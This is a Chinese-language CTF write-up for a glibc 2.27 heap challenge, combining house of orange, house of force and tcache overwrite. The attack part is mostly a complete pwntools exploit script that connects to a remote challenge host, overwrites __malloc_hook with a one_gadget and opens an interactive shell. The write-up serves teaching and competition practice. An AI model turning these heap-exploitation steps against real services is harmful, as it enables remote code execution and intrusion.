没有参加复赛 倒是开赛的时候别的师傅给了附件 做了做 最后是一血
一道2.27的堆 原题附件给的跟远程的不一样 坑死了 最后是用2.27 1.6的小版本打通的
代码审计一下 可以得知没有free chunk的机会 但是可以堆溢出覆盖nextchunk的size域
这种情况首先想到了house of orange获得unsortedbin的手法 覆盖一下top chunk
随后我们就泄露出了libc地址
2.23跟2.27的最大差别就是多了tcachebin 在想下一步利用的时候 回想起了以前做过的一道house of force 可以申请到top chunk低地址处的chunk 利用这一点可以覆盖tcachebin结构体的entry指针数组 从而任意写 最后直接往malloc_hook里面写入onegadget就行了
from pwn import*from ctypes import *#io = process("./pwn")io = remote("39.104.26.167",59599)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")#libc = ELF("./libc-2.27.so")context.arch = "amd64"context.log_level = "debug"
def debug(): gdb.attach(io) pause()
def add(index,size): io.recvuntil("Your choice: ") io.sendline(b'1') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size))def edit(index,content): io.recvuntil("Your choice: ") io.sendline(b'2') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Content: ") io.send(content)def show(index): io.recvuntil("Your choice: ") io.sendline(b'3') io.recvuntil("Index: ") io.sendline(str(index))def delete(index): io.recvuntil("Your choice: ") io.sendline(b'4') io.recvuntil("Index: ") io.sendline(str(index))
add(0,0x18)payload = cyclic(0x18)+p64(0xd91)edit(0,payload)add(1,0x1008)add(2,0x100)show(2)libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['__malloc_hook']-1632-0x10success("libc_addr :"+hex(libc_addr))payload = cyclic(0x1008)+p64(0xffffffffffffffff)edit(1,payload)# gdb.attach(io,'b *$rebase(0xA54)')# pause(0)add(3,-0x22020)add(4,0x1000)malloc_hook = libc_addr + libc.sym['__malloc_hook']realloc_hook = libc_addr + libc.sym['__realloc_hook']realloc_addr = libc_addr + libc.sym['realloc']payload = cyclic(0x40)+p64(realloc_hook)+b'\n'edit(4,payload)add(5,0x18)onegadget_addr = libc_addr + 0x4f302payload = p64(onegadget_addr)+p64(realloc_addr+10)+b'\n'edit(5,payload)add(6,0x100)io.interactive()